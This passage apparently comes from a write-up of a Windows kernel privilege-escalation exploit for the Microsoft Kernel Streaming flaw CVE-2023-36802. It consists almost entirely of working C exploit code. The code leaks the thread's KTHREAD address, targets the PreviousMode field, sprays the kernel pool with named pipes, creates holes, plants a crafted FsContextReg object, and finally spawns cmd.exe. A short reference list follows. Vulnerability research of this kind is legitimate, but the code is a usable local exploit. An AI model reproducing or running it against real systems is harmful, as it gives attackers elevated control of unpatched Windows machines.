if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
// Spraying pool
DWORD spray_size = SPRAY_SIZE;
PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
IO_STATUS_BLOCK isb;
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
//Create Holes
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
ULONG_PTR InitBuf[0x20] = { 0 };
InitBuf[0] = 0xdeadbeef; // &1 != 0
InitBuf[1] = 0xdeadbeef1; // non-zero value
InitBuf[2] = 0xdeadbeef2; // non-zero value
// InitBuf[3] = 0
// Put FsContextReg in Hole
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
WaitForSingleObject(hMainThread, INFINITE);
WaitForSingleObject(hSepThread, INFINITE);
for (int i = 0;i < spray_size;i++) {
if (tmp[i]) CloseHandle(tmp[i]);
if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
}
CloseHandle(hMainThread);
CloseHandle(hSepThread);
CloseHandle(hEvent);
system("cmd.exe");
return 0;
}
DEMO
References
- https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/
- https://www.cisa.gov/news-events/alerts/2023/09/12/cisa-adds-two-known-vulnerabilities-catalog
- https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
- https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md